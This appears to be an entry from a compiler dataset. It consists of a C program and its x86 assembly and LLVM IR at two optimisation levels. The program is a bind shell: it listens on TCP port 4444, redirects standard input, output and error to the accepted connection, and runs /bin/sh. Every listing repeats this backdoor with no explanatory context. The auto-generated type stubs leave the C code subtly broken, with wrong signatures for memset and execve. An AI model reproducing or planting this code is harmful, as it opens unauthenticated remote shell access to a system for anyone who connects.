#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
  int /*<<< orphan*/ sin_zero;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ serverSA;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ PF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int accept(int, struct sockaddr *, int *);
int /*<<< orphan*/ bind(int, struct sockaddr *, int);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, char **, char *);
int /*<<< orphan*/ htonl(int /*<<< orphan*/);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ listen(int, int);
int /*<<< orphan*/ memset(int /*<<< orphan*/, char, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(void) {
  int sockfd, newsockfd;
  struct sockaddr_in serverSA, clientSA;
  int clientSaSize;
  char *arg_list[] = {{"/bin/sh"}, NULL};
  sockfd = socket(PF_INET, SOCK_STREAM, 0);
  memset(serverSA.sin_zero, '\0', sizeof(serverSA.sin_zero));
  serverSA.sin_family = AF_INET;
  serverSA.sin_addr.s_addr = htonl(INADDR_ANY);
  serverSA.sin_port = htons(4444);
  bind(sockfd, (struct sockaddr *)&serverSA, sizeof(serverSA));
  listen(sockfd, 2);
  newsockfd = accept(sockfd, (struct sockaddr *)&clientSA, &clientSaSize);
  dup2(newsockfd, 0);
  dup2(newsockfd, 1);
  dup2(newsockfd, 2);
  execve(arg_list[0], arg_list, arg_list[1]);
  close(sockfd);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x50,%rsp
movl   $0x0,-0x4(%rbp)
mov    0x2c3a(%rip),%rax
mov    %rax,-0x50(%rbp)
mov    0x2c37(%rip),%rax
mov    %rax,-0x48(%rbp)
mov    0x2dfc(%rip),%rax
mov    (%rax),%edi
mov    0x2dfb(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10c0 <socket@plt>
mov    %eax,-0x8(%rbp)
mov    -0x14(%rbp),%edi
xor    %esi,%esi
mov    $0x4,%edx
call   1060 <memset@plt>
mov    0x2df1(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x18(%rbp)
mov    0x2ddd(%rip),%rax
mov    (%rax),%edi
call   1050 <htonl@plt>
mov    %eax,-0x1c(%rbp)
mov    $0x115c,%edi
call   1030 <htons@plt>
mov    %eax,-0x20(%rbp)
mov    -0x8(%rbp),%edi
lea    -0x20(%rbp),%rsi
mov    $0x10,%edx
call   10a0 <bind@plt>
mov    -0x8(%rbp),%edi
mov    $0x2,%esi
call   1090 <listen@plt>
mov    -0x8(%rbp),%edi
lea    -0x30(%rbp),%rsi
lea    -0x34(%rbp),%rdx
call   10b0 <accept@plt>
mov    %eax,-0xc(%rbp)
mov    -0xc(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0xc(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0xc(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
mov    -0x50(%rbp),%rdi
lea    -0x50(%rbp),%rsi
mov    -0x48(%rbp),%rdx
call   1080 <execve@plt>
mov    -0x8(%rbp),%edi
call   1070 <close@plt>
xor    %eax,%eax
add    $0x50,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %rbx
sub    $0x48,%rsp
movaps 0x2c43(%rip),%xmm0
movaps %xmm0,0x20(%rsp)
mov    0x2e0f(%rip),%rax
mov    (%rax),%edi
mov    0x2e0e(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10c0 <socket@plt>
mov    %eax,%ebx
xor    %esi,%esi
mov    $0x4,%edx
call   1060 <memset@plt>
mov    0x2e08(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x10(%rsp)
mov    0x2df3(%rip),%rax
mov    (%rax),%edi
call   1050 <htonl@plt>
mov    %eax,0xc(%rsp)
mov    $0x115c,%edi
call   1030 <htons@plt>
mov    %eax,0x8(%rsp)
lea    0x8(%rsp),%rsi
mov    %ebx,%edi
mov    $0x10,%edx
call   10a0 <bind@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1090 <listen@plt>
lea    0x38(%rsp),%rsi
lea    0x1c(%rsp),%rdx
mov    %ebx,%edi
call   10b0 <accept@plt>
mov    %eax,%ebp
mov    %eax,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebp,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebp,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xda2(%rip),%rdi
lea    0x20(%rsp),%rsi
xor    %edx,%edx
call   1080 <execve@plt>
mov    %ebx,%edi
call   1070 <close@plt>
xor    %eax,%eax
add    $0x48,%rsp
pop    %rbx
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.arg_list = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
@PF_INET = global i32 0
@SOCK_STREAM = global i32 0
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca %struct.sockaddr_in
%5 = alloca %struct.sockaddr_in
%6 = alloca i32
%7 = alloca [2 x i8*]
store i32 0, i32* %1
%8 = bitcast [2 x i8*]* %7 to i8*
%9 = load i32, i32* @PF_INET
%10 = load i32, i32* @SOCK_STREAM
%11 = call i32 @socket(i32 %9, i32 %10, i32 0)
store i32 %11, i32* %2
%12 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i32 0, i32 3
%13 = load i32, i32* %12
%14 = call i32 @memset(i32 %13, i8 signext 0, i32 4)
%15 = load i32, i32* @AF_INET
%16 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i32 0, i32 2
store i32 %15, i32* %16
%17 = load i32, i32* @INADDR_ANY
%18 = call i32 @htonl(i32 %17)
%19 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i32 0, i32 1
%20 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %19, i32 0, i32 0
store i32 %18, i32* %20
%21 = call i32 @htons(i32 4444)
%22 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i32 0, i32 0
store i32 %21, i32* %22
%23 = load i32, i32* %2
%24 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
%25 = call i32 @bind(i32 %23, %struct.sockaddr* %24, i32 16)
%26 = load i32, i32* %2
%27 = call i32 @listen(i32 %26, i32 2)
%28 = load i32, i32* %2
%29 = bitcast %struct.sockaddr_in* %5 to %struct.sockaddr*
%30 = call i32 @accept(i32 %28, %struct.sockaddr* %29, i32* %6)
store i32 %30, i32* %3
%31 = load i32, i32* %3
%32 = call i32 @dup2(i32 %31, i32 0)
%33 = load i32, i32* %3
%34 = call i32 @dup2(i32 %33, i32 1)
%35 = load i32, i32* %3
%36 = call i32 @dup2(i32 %35, i32 2)
%37 = getelementptr inbounds [2 x i8*], [2 x i8*]* %7, i64 0, i64 0
%38 = load i8*, i8** %37
%39 = getelementptr inbounds [2 x i8*], [2 x i8*]* %7, i64 0, i64 0
%40 = getelementptr inbounds [2 x i8*], [2 x i8*]* %7, i64 0, i64 1
%41 = load i8*, i8** %40
%42 = call i32 @execve(i8* %38, i8** %39, i8* %41)
%43 = load i32, i32* %2
%44 = call i32 @close(i32 %43)
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.arg_list = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
@PF_INET = global i32 0
@SOCK_STREAM = global i32 0
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
define i32 @main() {
%1 = alloca %struct.sockaddr_in
%2 = alloca %struct.sockaddr_in
%3 = alloca i32
%4 = alloca [2 x i8*]
%5 = bitcast %struct.sockaddr_in* %1 to i8*
%6 = bitcast %struct.sockaddr_in* %2 to i8*
%7 = bitcast i32* %3 to i8*
%8 = bitcast [2 x i8*]* %4 to i8*
%9 = load i32, i32* @PF_INET
%10 = load i32, i32* @SOCK_STREAM
%11 = tail call i32 @socket(i32 %9, i32 %10, i32 0)
%12 = tail call i32 @memset(i32 undef, i8 signext 0, i32 4)
%13 = load i32, i32* @AF_INET
%14 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 2
store i32 %13, i32* %14
%15 = load i32, i32* @INADDR_ANY
%16 = tail call i32 @htonl(i32 %15)
%17 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 1, i32 0
store i32 %16, i32* %17
%18 = tail call i32 @htons(i32 4444)
%19 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 0
store i32 %18, i32* %19
%20 = bitcast %struct.sockaddr_in* %1 to %struct.sockaddr*
%21 = call i32 @bind(i32 %11, %struct.sockaddr* %20, i32 16)
%22 = call i32 @listen(i32 %11, i32 2)
%23 = bitcast %struct.sockaddr_in* %2 to %struct.sockaddr*
%24 = call i32 @accept(i32 %11, %struct.sockaddr* %23, i32* %3)
%25 = call i32 @dup2(i32 %24, i32 0)
%26 = call i32 @dup2(i32 %24, i32 1)
%27 = call i32 @dup2(i32 %24, i32 2)
%28 = getelementptr inbounds [2 x i8*], [2 x i8*]* %4, i64 0, i64 0
%29 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8** %28, i8* null)
%30 = call i32 @close(i32 %11)
ret i32 0
}